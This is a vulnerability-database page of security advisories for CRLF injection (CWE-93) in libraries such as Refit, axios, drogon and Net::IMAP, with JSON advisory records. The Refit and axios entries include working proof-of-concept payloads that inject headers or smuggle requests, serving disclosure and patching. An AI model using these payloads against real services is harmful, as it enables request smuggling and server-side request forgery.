Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

433 vulnerabilities reference this CWE, most recent first.

GHSA-3HXG-FXWM-8GF7

Vulnerability from github – Published: 2024-11-04 23:23 – Updated: 2024-11-08 15:19
VLAI
Summary
CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes
Details

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328 This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Refit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-04T23:23:17Z",
    "nvd_published_at": "2024-11-04T23:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328\u003e\nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n    private static void Main(string[] args)\n    {\n        // Usage: dotnet run \u003cbearer token\u003e \n        string token = args[0];\n        var service = RestService.For\u003cIStatusApi\u003e(\"http://insert.some.site.here\");\n        string response = service.GetStatus(token).Result;\n        Console.WriteLine($\"Response: {response}\");\n    }\n\n    public interface IStatusApi\n    {\n        [Get(\"/status\")]\n        Task\u003cstring\u003e GetStatus([Authorize(\"Bearer\")] string token);\n    }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \u003cbearer token\u003e\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n",
  "id": "GHSA-3hxg-fxwm-8gf7",
  "modified": "2024-11-08T15:19:17Z",
  "published": "2024-11-04T23:23:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51501"
    },
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/reactiveui/refit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CRLF injection in Refit\u0027s [Header], [HeaderCollection] and [Authorize] attributes "
}

GHSA-3JVV-M32R-4HPF

Vulnerability from github – Published: 2023-07-06 06:30 – Updated: 2024-04-04 05:25
VLAI
Details

All versions of the package drogonframework/drogon are vulnerable to CRLF Injection when untrusted user input is used to set request headers in the addHeader function. An attacker can add the \r\n (carriage return line feeds) characters and inject additional headers in the request sent.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-26138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-06T05:15:09Z",
    "severity": "MODERATE"
  },
  "details": "All versions of the package drogonframework/drogon are vulnerable to CRLF Injection when untrusted user input is used to set request headers in the addHeader function. An attacker can add the \\r\\n (carriage return line feeds) characters and inject additional headers in the request sent.",
  "id": "GHSA-3jvv-m32r-4hpf",
  "modified": "2024-04-04T05:25:57Z",
  "published": "2023-07-06T06:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26138"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/dellalibera/d2abd809f32ec6c61be1f41d80edf61b"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-UNMANAGED-DROGONFRAMEWORKDROGON-5665555"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MJ9-VRRP-55V4

Vulnerability from github – Published: 2025-12-18 21:31 – Updated: 2025-12-18 21:31
VLAI
Details

A CRLF injection vulnerability in Kentico Xperience allows attackers to manipulate URL query string redirects via improper encoding in the routing engine. This could enable header injection and potentially facilitate further web application attacks.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-50682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T20:15:50Z",
    "severity": "MODERATE"
  },
  "details": "A CRLF injection vulnerability in Kentico Xperience allows attackers to manipulate URL query string redirects via improper encoding in the routing engine. This could enable header injection and potentially facilitate further web application attacks.",
  "id": "GHSA-3mj9-vrrp-55v4",
  "modified": "2025-12-18T21:31:43Z",
  "published": "2025-12-18T21:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50682"
    },
    {
      "type": "WEB",
      "url": "https://devnet.kentico.com/download/hotfixes"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kentico-xperience-routing-engine-crlf-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3MRG-V8X6-XFJW

Vulnerability from github – Published: 2026-09-20 00:30 – Updated: 2026-09-20 00:30
VLAI
Details

Exim before 4.100.1 allows SMTP smuggling in which the received message does not match any sent message, and instead depends on crafted data sent after a rejection during DATA processing.

Severity
4.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-94057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-19T23:17:11Z",
    "severity": "MODERATE"
  },
  "details": "Exim before 4.100.1 allows SMTP smuggling in which the received message does not match any sent message, and instead depends on crafted data sent after a rejection during DATA processing.",
  "id": "GHSA-3mrg-v8x6-xfjw",
  "modified": "2026-09-20T00:30:24Z",
  "published": "2026-09-20T00:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94057"
    },
    {
      "type": "WEB",
      "url": "https://lists.exim.org/lurker/message/20260918.121220.0f87338e.en.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WRH-PMFV-38F4

Vulnerability from github – Published: 2024-06-14 12:30 – Updated: 2024-07-03 18:45
VLAI
Details

A CRLF cross-site scripting vulnerability has been identified in certain configurations of the SiteMinder Web Agent for IIS Web Server and SiteMinder Web Agent for Domino Web Server. As a result, an attacker can execute arbitrary Javascript code in a client browser.

Severity
8.4 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-36459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-14T12:15:09Z",
    "severity": "HIGH"
  },
  "details": "A CRLF cross-site scripting vulnerability has been identified in certain configurations of the SiteMinder Web Agent for IIS Web Server and SiteMinder Web Agent for Domino Web Server. As a result, an attacker can execute arbitrary Javascript code in a client browser.",
  "id": "GHSA-3wrh-pmfv-38f4",
  "modified": "2024-07-03T18:45:19Z",
  "published": "2024-06-14T12:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36459"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.1"
    },
    {
      "type": "WEB",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24537"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3WWJ-WH2W-G4XP

Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-02-23 15:04
VLAI
Summary
CRLF Injection in microweber
Details

CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.

Severity
7.6 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "microweber/microweber"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-23T15:04:54Z",
    "nvd_published_at": "2022-02-18T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.",
  "id": "GHSA-3wwj-wh2w-g4xp",
  "modified": "2022-02-23T15:04:54Z",
  "published": "2022-02-19T00:01:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0666"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microweber/microweber/commit/f0e338f1b7dc5ec9d99231f4ed3fa6245a5eb128"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microweber/microweber"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/7215afc7-9133-4749-8e8e-0569317dbd55"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CRLF Injection in microweber"
}

GHSA-3XX8-JMFQ-QF34

Vulnerability from github – Published: 2025-03-07 18:31 – Updated: 2025-03-07 18:31
VLAI
Details

An improper neutralization of CRLF sequences ('CRLF Injection') vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained user access to modify application data.

We have already fixed the vulnerability in the following versions: QTS 5.2.3.3006 build 20250108 and later QuTS hero h5.2.3.3006 build 20250108 and later

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-53693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-07T17:15:19Z",
    "severity": "HIGH"
  },
  "details": "An improper neutralization of CRLF sequences (\u0027CRLF Injection\u0027) vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained user access to modify application data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.3.3006 build 20250108 and later\nQuTS hero h5.2.3.3006 build 20250108 and later",
  "id": "GHSA-3xx8-jmfq-qf34",
  "modified": "2025-03-07T18:31:06Z",
  "published": "2025-03-07T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53693"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-24-54"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-445Q-VR5W-6Q77

Vulnerability from github – Published: 2026-05-05 00:40 – Updated: 2026-05-05 00:40
VLAI
Summary
Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
Details

Summary

The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details

In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:

if (isStringValue) {
  value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
  // value.type is NOT sanitized for CRLF sequences
  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}

Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

  1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
  2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
  3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
  4. The downstream server receives a multipart body containing injected per-part headers
  5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC

Prerequisites: Node.js 18+, axios (tested on 1.14.0)

const http = require('http');
const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => {
  let body = '';
  req.on('data', chunk => { body += chunk.toString(); });
  req.on('end', () => {
    receivedBody = body;
    res.writeHead(200);
    res.end('ok');
  });
});

server.listen(0, '127.0.0.1', async () => {
  const port = server.address().port;

  class SpecFormData {
    constructor() {
      this._entries = [];
      this[Symbol.toStringTag] = 'FormData';
    }
    append(name, value) { this._entries.push([name, value]); }
    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }
    entries() { return this._entries[Symbol.iterator](); }
  }

  const fd = new SpecFormData();

  fd.append('photo', {
    type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
    size: 16,
    name: 'photo.jpg',
    [Symbol.asyncIterator]: async function*() {
      yield Buffer.from('MALICIOUS PAYLOAD');
    }
  });

  await axios.post(`http://127.0.0.1:${port}/upload`, fd);

  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
    console.log('Received body:\n' + receivedBody);
  } else {
    console.log('[NOT_VULNERABLE]');
  }

  server.close();
});

Steps to reproduce:

  1. npm install axios
  2. Save the above as poc_axios_crlf.js
  3. Run node poc_axios_crlf.js
  4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact

Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

Suggested fix

In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.

const safeType = (value.type || 'application/octet-stream')
  .replace(/[\r\n]/g, '');
headers += `Content-Type: ${safeType}${CRLF}`;
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:40:45Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n  value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n  // value.type is NOT sanitized for CRLF sequences\n  headers += `Content-Type: ${value.type || \u0027application/octet-stream\u0027}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server\u0027s multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require(\u0027http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nlet receivedBody = \u0027\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = \u0027\u0027;\n  req.on(\u0027data\u0027, chunk =\u003e { body += chunk.toString(); });\n  req.on(\u0027end\u0027, () =\u003e {\n    receivedBody = body;\n    res.writeHead(200);\n    res.end(\u0027ok\u0027);\n  });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n  const port = server.address().port;\n\n  class SpecFormData {\n    constructor() {\n      this._entries = [];\n      this[Symbol.toStringTag] = \u0027FormData\u0027;\n    }\n    append(name, value) { this._entries.push([name, value]); }\n    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n    entries() { return this._entries[Symbol.iterator](); }\n  }\n\n  const fd = new SpecFormData();\n\n  fd.append(\u0027photo\u0027, {\n    type: \u0027image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value\u0027,\n    size: 16,\n    name: \u0027photo.jpg\u0027,\n    [Symbol.asyncIterator]: async function*() {\n      yield Buffer.from(\u0027MALICIOUS PAYLOAD\u0027);\n    }\n  });\n\n  await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n  if (receivedBody.includes(\u0027X-Injected-Header: PWNED-by-attacker\u0027)) {\n    console.log(\u0027[VULNERABLE] CRLF injection confirmed in multipart body\u0027);\n    console.log(\u0027Received body:\\n\u0027 + receivedBody);\n  } else {\n    console.log(\u0027[NOT_VULNERABLE]\u0027);\n  }\n\n  server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || \u0027application/octet-stream\u0027)\n  .replace(/[\\r\\n]/g, \u0027\u0027);\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```",
  "id": "GHSA-445q-vr5w-6q77",
  "modified": "2026-05-05T00:40:45Z",
  "published": "2026-05-05T00:40:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42037"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream"
}

GHSA-46Q3-7GV7-QMGG

Vulnerability from github – Published: 2026-06-09 20:31 – Updated: 2026-07-06 22:54
VLAI
Summary
Net::IMAP: Command Injection via ID command argument
Details

Summary

Two Net::IMAP commands, #id and #enable, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.

Please note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.

Details

When Net::IMAP#id is called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.

While Net::IMAP#enable does process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The #to_s value is sent verbatim.

Impact

This is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.

The documentation for #enable explicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for #enable will always be inappropriate.

Although client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.

